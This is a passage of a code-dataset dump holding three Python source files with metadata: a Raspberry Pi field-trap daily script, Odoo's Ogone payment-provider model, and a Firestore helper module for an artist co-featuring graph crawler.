logging.info('TRAP-VERSION: ' + current_trap.get_trap_version())\n if not validate_trap_base_data(token, serial):\n return\n pre_config = get_trap_boot_data_config()\n set_pre_run_data(pre_config)\n internet_connection = wait_for_connectivity(start_of_run, pre_config)\n # current_trap.set_connectivity(internet_connection)\n if internet_connection:\n trap_status = attempt_get_trap_status(token, serial)\n # init_trap_from_returned_status(current_trap, trap_status)\n if trap_status.get(\"update_dummy_load\"):\n set_dummy_load(trap_status.get(\"remove_dummy_load\"))\n update_trap_db_status(trap_status)\n config = get_trap_boot_data_config()\n if trap_status.get(\"change_battery\"):\n config[\"run_time\"] = 0\n update_config_file(config)\n test_mode = get_test_mode()\n if test_mode is None:\n return\n logging.info(\"Mode is : \" + (\"production\" if not test_mode else \"test\"))\n if not get_trap_boot_data(\"image_taken_today\", config):\n take_pic(trap_status)\n config['image_taken_today'] = True\n update_config_file(config)\n if not internet_connection:\n run_reboot(config, start_of_run)\n\n start_up_index = get_trap_boot_data(\"startup_time\", config)\n # logging.info(\"Startup index is: \" + str(start_up_index))\n boot_count = get_trap_boot_data(\"boot_count\", config)\n if boot_count == 0:\n set_startup_time(test_mode, start_up_index)\n if internet_connection:\n detection_sent = send_detection(token, serial, test_mode, start_of_run, start_up_index, boot_count, config)\n\n if not detection_sent:\n run_reboot(config, start_of_run)\n\n config['image_taken_today'] = False\n config['startup_time'] = 1\n set_startup_time(test_mode, 0)\n update_config_file(config)\n should_stay_on = trap_status.get(\"stay_on\")\n while should_stay_on and (time.time() - start_of_run) < STAY_ON_SLEEP:\n logging.info(\"-----------TRAP IS STAYING ON CHECKING DATA AND PERFORMING TASKS-----------\")\n time.sleep(CONNECTIVITY_SLEEP_TIME)\n changed_trap_status = attempt_get_trap_status(token, serial)\n logging.info(\"New changed status: \" + str(changed_trap_status))\n update_trap_db_status(changed_trap_status)\n is_test_mode = changed_trap_status.get('test_mode')\n if changed_trap_status.get(\"take_pic\"):\n take_pic(changed_trap_status)\n send_detection(token, serial, is_test_mode, start_of_run, start_up_index, boot_count, config)\n send_log_data(token, serial, datetime.today().weekday(), changed_trap_status.get(\"send_log\"), False)\n if changed_trap_status.get(\"turn_off\"):\n logging.info(\"Turn off request - shutting down trap.\")\n should_stay_on = False\n if internet_connection:\n update_trap_version(trap_status)\n update_trap_run_time(start_of_run, config, token, serial, True)\n send_log_data(token, serial, datetime.today().weekday(), trap_status.get(\"send_log\"), False)\n except Exception as e:\n try:\n if config:\n update_trap_run_time(start_of_run, config, False)\n logging.exception(str(e))\n if internet_connection and token and serial:\n send_log_data(token, serial, datetime.today().weekday(), True, False)\n except Exception as e:\n logging.exception(str(e))\n time.sleep(SLEEP_BEFORE_SHUTDOWN)\n system(\"shutdown now -h\")\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "gigalala/trap-scripts", "sub_path": "trap-daily.py", "file_name": "trap-daily.py", "file_ext": "py", "file_size_in_byte": 18935, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "requests.head", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.ConnectionError", "line_number": 33, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "name"}, {"api_name": "Autofocus.get_focus", "line_number": 66, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "name"}, {"api_name": "json.load", "line_number": 116, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 117, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 120, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 125, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 130, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 131, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 133, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 142, "usage_type": "call"}, {"api_name": "picamera.PiCamera", "line_number": 149, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 154, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 158, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 161, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 165, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 167, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 168, "usage_type": "call"}, {"api_name": "time.time", "line_number": 169, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 171, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 174, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 181, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 181, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 190, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 195, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 198, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 200, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 200, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 204, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 205, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 207, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 211, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 218, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 222, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 228, "usage_type": "call"}, {"api_name": "os.system", "line_number": 229, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 235, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 236, "usage_type": "call"}, {"api_name": "os.system", "line_number": 237, "usage_type": "call"}, {"api_name": "time.time", "line_number": 242, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 247, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 247, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 252, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 259, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 260, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 260, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 266, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 267, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 272, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 277, "usage_type": "call"}, {"api_name": "time.time", "line_number": 278, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 279, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 282, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 283, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 287, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 291, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 304, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 307, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 309, "usage_type": "call"}, {"api_name": "os.path", "line_number": 309, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 311, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 324, "usage_type": "call"}, {"api_name": "response_actions.send_log", "line_number": 330, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 332, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 333, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 336, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 338, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 348, "usage_type": "call"}, {"api_name": "response_actions.update", "line_number": 352, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 354, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 356, "usage_type": "call"}, {"api_name": "response_actions.update", "line_number": 358, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 360, "usage_type": "call"}, {"api_name": "response_actions.send_run_time", "line_number": 365, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 367, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 368, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 371, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 373, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 382, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 389, "usage_type": "call"}, {"api_name": "response_actions.get_trap_status", "line_number": 391, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 393, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 394, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 397, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 399, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 404, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 405, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 405, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 413, "usage_type": "call"}, {"api_name": "time.time", "line_number": 419, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 426, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 430, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 432, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 453, "usage_type": "call"}, {"api_name": "time.time", "line_number": 477, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 478, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 479, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 481, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 487, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 487, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 489, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 494, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 494, "usage_type": "name"}, {"api_name": "logging.exception", "line_number": 499, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 501, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 501, "usage_type": "name"}, {"api_name": "logging.exception", "line_number": 503, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 504, "usage_type": "call"}, {"api_name": "os.system", "line_number": 505, "usage_type": "call"}]} {"seq_id": "33913827105", "text": "import logging\nfrom hashlib import new as hashnew\n\nimport requests\n\nfrom odoo import _, api, fields, models\nfrom odoo.exceptions import ValidationError\n\nfrom odoo.addons.payment_ogone import const\n\n\n_logger = logging.getLogger(__name__)\n\n\nclass PaymentProvider(models.Model):\n _inherit = 'payment.provider'\n\n code = fields.Selection(\n selection_add=[('ogone', \"Ogone\")], ondelete={'ogone': 'set default'})\n ogone_pspid = fields.Char(\n string=\"PSPID\", help=\"The ID solely used to identify the account with Ogone\",\n required_if_provider='ogone')\n ogone_userid = fields.Char(\n string=\"API User ID\", help=\"The ID solely used to identify the API user with Ogone\",\n required_if_provider='ogone')\n ogone_password = fields.Char(\n string=\"API User Password\", required_if_provider='ogone', groups='base.group_system')\n ogone_shakey_in = fields.Char(\n string=\"SHA Key IN\", required_if_provider='ogone', groups='base.group_system')\n ogone_shakey_out = fields.Char(\n string=\"SHA Key OUT\", required_if_provider='ogone', groups='base.group_system')\n ogone_hash_function = fields.Selection(\n [('sha1', 'SHA1'), ('sha256', 'SHA256'), ('sha512', 'SHA512')], default='sha512',\n string=\"Hash function\", required_if_provider='ogone',\n )\n\n #=== COMPUTE METHODS ===#\n\n def _compute_feature_support_fields(self):\n \"\"\" Override of `payment` to enable additional features. \"\"\"\n super()._compute_feature_support_fields()\n self.filtered(lambda p: p.code == 'ogone').update({\n 'support_tokenization': True,\n })\n\n #=== BUSINESS METHODS ===#\n\n @api.model\n def _get_compatible_providers(self, *args, is_validation=False, **kwargs):\n \"\"\" Override of payment to unlist Ogone providers for validation operations. \"\"\"\n providers = super()._get_compatible_providers(*args, is_validation=is_validation, **kwargs)\n\n if is_validation:\n providers = providers.filtered(lambda p: p.code != 'ogone')\n\n return providers\n\n def _ogone_get_api_url(self, api_key):\n \"\"\" Return the appropriate URL of the requested API for the provider state.\n\n Note: self.ensure_one()\n\n :param str api_key: The API whose URL to get: 'hosted_payment_page' or 'directlink'\n :return: The API URL\n :rtype: str\n \"\"\"\n self.ensure_one()\n\n if self.state == 'enabled':\n api_urls = {\n 'hosted_payment_page': 'https://secure.ogone.com/ncol/prod/orderstandard_utf8.asp',\n 'directlink': 'https://secure.ogone.com/ncol/prod/orderdirect_utf8.asp',\n }\n else: # 'test'\n api_urls = {\n 'hosted_payment_page': 'https://ogone.test.v-psp.com/ncol/test/orderstandard_utf8.asp',\n 'directlink': 'https://ogone.test.v-psp.com/ncol/test/orderdirect_utf8.asp',\n }\n return api_urls.get(api_key)\n\n def _ogone_generate_signature(self, values, incoming=True, format_keys=False):\n \"\"\" Generate the signature for incoming or outgoing communications.\n\n :param dict values: The values used to generate the signature\n :param bool incoming: Whether the signature must be generated for an incoming (Ogone to\n Odoo) or outgoing (Odoo to Ogone) communication.\n :param bool format_keys: Whether the keys must be formatted as uppercase, dot-separated\n strings to comply with Ogone APIs. This must be used when the keys\n are formatted as underscore-separated strings to be compliant with\n QWeb's `t-att-value`.\n :return: The signature\n :rtype: str\n \"\"\"\n\n def _filter_key(_key):\n return not incoming or _key in const.VALID_KEYS\n\n key = self.ogone_shakey_out if incoming else self.ogone_shakey_in # Swapped for Ogone's POV\n if format_keys:\n formatted_items = [(k.upper().replace('_', '.'), v) for k, v in values.items()]\n else:\n formatted_items = [(k.upper(), v) for k, v in values.items()]\n sorted_items = sorted(formatted_items)\n signing_string = ''.join(f'{k}={v}{key}' for k, v in sorted_items if _filter_key(k) and v)\n shasign = hashnew(self.ogone_hash_function)\n shasign.update(signing_string.encode())\n return shasign.hexdigest()\n\n def _ogone_make_request(self, payload=None, method='POST'):\n \"\"\" Make a request to one of Ogone APIs.\n\n Note: self.ensure_one()\n\n :param dict payload: The payload of the request\n :param str method: The HTTP method of the request\n :return The content of the response\n :rtype: bytes\n :raise: ValidationError if an HTTP error occurs\n \"\"\"\n self.ensure_one()\n\n url = self._ogone_get_api_url('directlink')\n try:\n response = requests.request(method, url, data=payload, timeout=60)\n response.raise_for_status()\n except requests.exceptions.ConnectionError:\n _logger.exception(\"unable to reach endpoint at %s\", url)\n raise ValidationError(\"Ogone: \" + _(\"Could not establish the connection to the API.\"))\n except requests.exceptions.HTTPError:\n _logger.exception(\"invalid API request at %s with data %s\", url, payload)\n raise ValidationError(\"Ogone: \" + _(\"The communication with the API failed.\"))\n return response.content\n\n def _get_default_payment_method_codes(self):\n \"\"\" Override of `payment` to return the default payment method codes. \"\"\"\n default_codes = super()._get_default_payment_method_codes()\n if self.code != 'ogone':\n return default_codes\n return const.DEFAULT_PAYMENT_METHODS_CODES\n", "repo_name": "odoo/odoo", "sub_path": "addons/payment_ogone/models/payment_provider.py", "file_name": "payment_provider.py", "file_ext": "py", "file_size_in_byte": 5866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31745, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "odoo.models.Model", "line_number": 15, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 15, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 18, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 18, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 20, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 23, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 23, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 26, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 26, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 28, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 28, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 30, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 30, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 32, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 32, "usage_type": "name"}, {"api_name": "odoo.api.model", "line_number": 48, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 48, "usage_type": "name"}, {"api_name": "odoo.addons.payment_ogone.const.VALID_KEYS", "line_number": 96, "usage_type": "attribute"}, {"api_name": "odoo.addons.payment_ogone.const", "line_number": 96, "usage_type": "name"}, {"api_name": "hashlib.new", "line_number": 105, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 124, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 126, "usage_type": "attribute"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 128, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 128, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 129, "usage_type": "attribute"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 131, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 131, "usage_type": "call"}, {"api_name": "odoo.addons.payment_ogone.const.DEFAULT_PAYMENT_METHODS_CODES", "line_number": 139, "usage_type": "attribute"}, {"api_name": "odoo.addons.payment_ogone.const", "line_number": 139, "usage_type": "name"}]} {"seq_id": "73467165980", "text": "import time, datetime\nfrom google.cloud import firestore\nimport os\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = './credentials/YOUR_GOOGLE_APPLICATION_CREDENTIALS_FILE.json'\n\n\nPROJECT_ID = \"spotify-co-featuring2gra-34f8c\"\nMODE = 'staging'\nPATH_DASHBOARD = MODE + '-dashboard'\nPATH_ARTIST_DATA = MODE + '-artist_data' \nPATH_DUMP = MODE + '-exceeds_dump'\nPATH_LOG = MODE + '-log'\n\nNODE_LIMIT = 1000\n\ndef traverse(artist_id):\n db = firestore.Client(project=PROJECT_ID)\n transaction = db.transaction()\n artist_doc_ref = db.collection(PATH_ARTIST_DATA).document(artist_id)\n total_traverse_ref = db.collection(PATH_DASHBOARD).document('total_nodes_traversed')\n \n @firestore.transactional\n def update_traverse_stats(\n transaction,\n artist_doc_ref,\n total_traverse_ref\n ):\n snapshot_artist_doc = artist_doc_ref.get(transaction=transaction)\n snapshot_total_traversed = total_traverse_ref.get(transaction=transaction)\n total_traversed = snapshot_total_traversed.get('value')\n transaction.update(artist_doc_ref, {'is_traversed':True})\n transaction.update(total_traverse_ref, {'value':total_traversed+1})\n return True\n status = update_traverse_stats(\n transaction,\n artist_doc_ref,\n total_traverse_ref\n )\n return status\n\ndef is_data_exists(artist_id):\n db = firestore.Client(project=PROJECT_ID)\n dump_collection_ref = db.collection(PATH_DUMP)\n in_dump_collection = dump_collection_ref.document(artist_id).get().exists\n if (in_dump_collection):\n return True\n artist_collection_ref = db.collection(PATH_ARTIST_DATA)\n in_artist_collection = artist_collection_ref.document(artist_id).get().exists \n if (in_artist_collection):\n return True\n return False\n\ndef update_collaborators_of_an_artist(artist_id, collaborators):\n db = firestore.Client(project=PROJECT_ID)\n transaction = db.transaction()\n artist_collection_ref = db.collection(PATH_ARTIST_DATA)\n dump_collection_ref = db.collection(PATH_DUMP)\n \n @firestore.transactional\n def update_collaborators(\n transaction,\n artist_id, \n collaborators,\n artist_collection_ref, \n ):\n artist_doc_ref = artist_collection_ref.document(artist_id)\n snapshot_artist_doc = artist_doc_ref.get(transaction=transaction)\n existing_collaborators = snapshot_artist_doc.get('collaborators')\n new_collaborators = list(set(collaborators) - set(existing_collaborators))\n transaction.update(\n artist_doc_ref,\n {\n 'collaborators':existing_collaborators + new_collaborators,\n 'is_traversed': True\n }\n )\n return True\n \n update_success = update_collaborators(\n transaction=transaction,\n artist_id=artist_id, \n collaborators=collaborators,\n artist_collection_ref=artist_collection_ref,\n )\n return update_success\n \n \ndef pop_from_queue(count):\n db = firestore.Client(project=PROJECT_ID)\n transaction = db.transaction()\n queue_doc_ref = db.collection(PATH_DASHBOARD).document('queue')\n total_in_queue_ref = db.collection(PATH_DASHBOARD).document('total_in_queue')\n \n @firestore.transactional\n def pop_out_traverse_queue( \n transaction,\n count,\n queue_ref, \n total_in_queue_ref):\n\n snapshot_queue = queue_ref.get(transaction=transaction)\n existing_queue = snapshot_queue.get('ids')\n popped_out = []\n if len(existing_queue) >= count:\n for _ in range (count):\n popped_out.append(existing_queue.pop(0))\n else:\n for _ in range (len(existing_queue)):\n popped_out.append(existing_queue.pop(0))\n\n if len(popped_out) > 0:\n snapshot_total_in_queue = total_in_queue_ref.get(transaction=transaction)\n total_in_queue = snapshot_total_in_queue.get('value')\n transaction.update(queue_ref, {'ids':existing_queue})\n transaction.update(total_in_queue_ref,{'value':total_in_queue - len(popped_out)})\n return popped_out, True\n else:\n print(\"not traversable\")\n return popped_out, False\n \n popped_out, is_traversable = pop_out_traverse_queue(\n transaction=transaction,\n count=count,\n queue_ref=queue_doc_ref, \n total_in_queue_ref=total_in_queue_ref\n )\n return popped_out, is_traversable\n\ndef add_artist_data(artist_id, data):\n db = firestore.Client(project=PROJECT_ID)\n transaction = db.transaction()\n\n artist_collection_ref = db.collection(PATH_ARTIST_DATA)\n queue_doc_ref = db.collection(PATH_DASHBOARD).document('queue')\n total_in_queue_ref = db.collection(PATH_DASHBOARD).document('total_in_queue')\n total_in_dump_ref = db.collection(PATH_DASHBOARD).document('total_in_dump')\n total_nodes_ref = db.collection(PATH_DASHBOARD).document('total_nodes')\n dump_collection_ref = db.collection(PATH_DUMP)\n\n\n @firestore.transactional\n def add_new_artist_data(\n transaction,\n artist_id, \n data, \n artist_collection_ref, \n total_in_queue_ref,\n total_in_dump_ref,\n total_nodes_ref,\n queue_ref, \n dump_collection_ref):\n artist_doc_ref = artist_collection_ref.document(artist_id)\n snapshot_artist_doc = artist_doc_ref.get(transaction=transaction)\n inside_artists_collection = snapshot_artist_doc.exists\n \n dump_doc_ref = dump_collection_ref.document(artist_id)\n snapshot_dump_doc = dump_doc_ref.get(transaction=transaction)\n inside_dump = snapshot_dump_doc.exists\n \n snapshot_total_in_queue = total_in_queue_ref.get(transaction=transaction)\n snapshot_total_nodes = total_nodes_ref.get(transaction=transaction)\n total_in_queue = snapshot_total_in_queue.get('value')\n total_nodes = snapshot_total_nodes.get('value')\n above_limit = (total_nodes) >= NODE_LIMIT\n # 1 add to artist_data\n if (not inside_artists_collection and not inside_dump and not above_limit):\n snapshot_queue = queue_ref.get(transaction=transaction)\n existing_queue = snapshot_queue.get('ids')\n # update queue --> since it's new\n existing_queue.append(artist_id)\n transaction.update(queue_ref, {'ids':existing_queue})\n transaction.set(artist_doc_ref, data)\n # update dashboard\n transaction.update(total_in_queue_ref,{'value':total_in_queue+1})\n transaction.update(total_nodes_ref,{'value':total_nodes+1})\n return True, \"Addded to artist_data\"\n \n # 2 add to dump\n elif (not inside_artists_collection and not inside_dump and above_limit):\n snapshot_total_in_dump = total_in_dump_ref.get(transaction=transaction)\n total_in_dump = snapshot_total_in_dump.get('value')\n transaction.update(total_in_dump_ref, {'value': total_in_dump+1})\n transaction.set(dump_doc_ref, data)\n # update dashboard\n return True, \"Total nodes already \"+str(NODE_LIMIT)+\". Addded to dump\"\n\n # 3 present in dump, below limit. move to artist_data\n elif (not inside_artists_collection and inside_dump and not above_limit):\n # do nothing\n # move data from dump into artist_data\n # - read on dump\n payload = snapshot_dump_doc.get('')\n # - update collaborators\n existing_collaborators = payload['collaborators']\n new_collaborators = list(set(data['collaborators']) - set(existing_collaborators))\n payload['collaborators'] = existing_collaborators + new_collaborators\n \n # update dashboard data\n # - queue data\n snapshot_queue = queue_ref.get(transaction=transaction)\n existing_queue = snapshot_queue.get('ids')\n existing_queue.append(artist_id)\n # - total in dump (decrement)\n snapshot_total_in_dump = total_in_dump_ref.get(transaction=transaction)\n total_in_dump = snapshot_total_in_dump.get('value')\n transaction.update(total_in_dump_ref, {'value': total_in_dump-1})\n transaction.update(queue_ref, {'ids':existing_queue})\n # update dashboard\n # - total in queue (increment)\n transaction.update(total_in_queue_ref,{'value':total_in_queue+1})\n # - total nodes (increment)\n transaction.update(total_nodes_ref,{'value':total_nodes+1})\n # - write to artist_data\n transaction.set(artist_doc_ref, payload)\n # - delete on dump\n transaction.delete(dump_doc_ref)\n return True, \"In Dump. Moved to artist_data. Collaborators updated\"\n \n # 4 update collaborators in dump\n elif (not inside_artists_collection and inside_dump and above_limit):\n existing_collaborators = snapshot_dump_doc.get('collaborators')\n new_collaborators = list(set(data['collaborators']) - set(existing_collaborators))\n if len(new_collaborators) > 0:\n transaction.update(dump_doc_ref, {'collaborators': existing_collaborators + new_collaborators})\n return True, 'Already in dump, collaborators updated' \n else:\n return True, 'Already in dump. No update needed'\n\n # 5-6 update collaborators in artist_data (NOT A TRAVERSAL)\n elif (inside_artists_collection and not inside_dump and (not above_limit or above_limit)):\n existing_collaborators = snapshot_artist_doc.get('collaborators')\n new_collaborators = list(set(data['collaborators']) - set(existing_collaborators))\n if len(new_collaborators) > 0:\n transaction.update(artist_doc_ref, {\n 'collaborators': existing_collaborators + new_collaborators,\n })\n return True, 'Already in artist_data. Collaborators updated' \n else:\n return True, 'Already in artist data. No update needed'\n \n # 7 IMPOSSIBLE: present in dump and artist_data, below limit\n elif (inside_artists_collection and inside_dump and not above_limit):\n return False, \"ERROR: present in both artist_data & dump. nodes < \"+str(NODE_LIMIT)\n # 8 IMPOSSIBLE: present in dump and artist data, above limit\n elif (inside_artists_collection and inside_dump and above_limit):\n return False, \"ERROR: present in both artist_data & dump. nodes >= \"+str(NODE_LIMIT)\n else:\n print(77*\"=!=\")\n print(f'inside_artists_collection: {inside_artists_collection}')\n print(f'inside_dump: {inside_dump}')\n print(f'total_nodes: {total_nodes}')\n return False, \"ERROR: UNHANDLED CASE\"\n status, message = add_new_artist_data(\n transaction = transaction,\n artist_id = artist_id,\n data = data,\n artist_collection_ref = artist_collection_ref, \n total_in_queue_ref = total_in_queue_ref,\n total_in_dump_ref = total_in_dump_ref,\n total_nodes_ref = total_nodes_ref,\n queue_ref = queue_doc_ref, \n dump_collection_ref = dump_collection_ref\n )\n time.sleep(0.05)\n return status, message\n\ndef log_info(error_data):\n db = firestore.Client(project=PROJECT_ID)\n transaction = db.transaction()\n\n errors_collection_ref = db.collection(PATH_LOG)\n\n @firestore.transactional\n def add_log(transaction, error_data, errors_collection_ref):\n timestamp = datetime.datetime.now()\n timestamp = str(timestamp)\n error_doc_ref = errors_collection_ref.document(timestamp)\n snapshot_errors_doc = error_doc_ref.get(transaction=transaction)\n transaction.set(error_doc_ref, error_data)\n print(\"Activity logged!\")\n print(error_data)\n \n add_log(\n transaction=transaction, \n error_data=error_data, \n errors_collection_ref=errors_collection_ref\n )", "repo_name": "adammln/song-co-featuring-graph-mining", "sub_path": "DataMining/src/data_mining/firestore_api.py", "file_name": "firestore_api.py", "file_ext": "py", "file_size_in_byte": 12175, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "google.cloud.firestore.Client", "line_number": 17, "usage_type": "call"}, {"api_name": "google.cloud.firestore", "line_number": 17, "usage_type": "name"}, {"api_name": "google.cloud.firestore.transactional", "line_number": 22, "usage_type": "attribute"}, {"api_name": "google.cloud.firestore", "line_number": 22, "usage_type": "name"}, {"api_name": "google.cloud.firestore.Client", "line_number": 42, "usage_type": "call"}, {"api_name": "google.cloud.firestore", "line_number": 42, "usage_type": "name"}, {"api_name": "google.cloud.firestore.Client", "line_number": 54, "usage_type": "call"}, {"api_name": "google.cloud.firestore", "line_number": 54, "usage_type": "name"}, {"api_name": "google.cloud.firestore.transactional", "line_number": 59, "usage_type": "attribute"}, {"api_name": "google.cloud.firestore", "line_number": 59, "usage_type": "name"}, {"api_name": "google.cloud.firestore.Client", "line_number": 89, "usage_type": "call"}, {"api_name": "google.cloud.firestore", "line_number": 89, "usage_type": "name"}, {"api_name": "google.cloud.firestore.transactional", "line_number": 94, "usage_type": "attribute"}, {"api_name": "google.cloud.firestore", "line_number": 94, "usage_type": "name"}, {"api_name": "google.cloud.firestore.Client", "line_number": 130, "usage_type": "call"}, {"api_name": "google.cloud.firestore", "line_number": 130, "usage_type": "name"}, {"api_name": "google.cloud.firestore.transactional", "line_number": 141, "usage_type": "attribute"}, {"api_name": "google.cloud.firestore", "line_number": 141, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 264, "usage_type": "call"}, {"api_name": "google.cloud.firestore.Client", "line_number": 268, "usage_type": "call"}, {"api_name": "google.cloud.firestore", "line_number": 268, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 275, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 275, "usage_type": "attribute"}, {"api_name": "google.cloud.firestore.transactional", "line_number": 273, "usage_type": "attribute"}, {"api_name": "google.cloud.firestore", "line_number": 273, "usage_type": "name"}]} {"seq_id": "35139748864", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 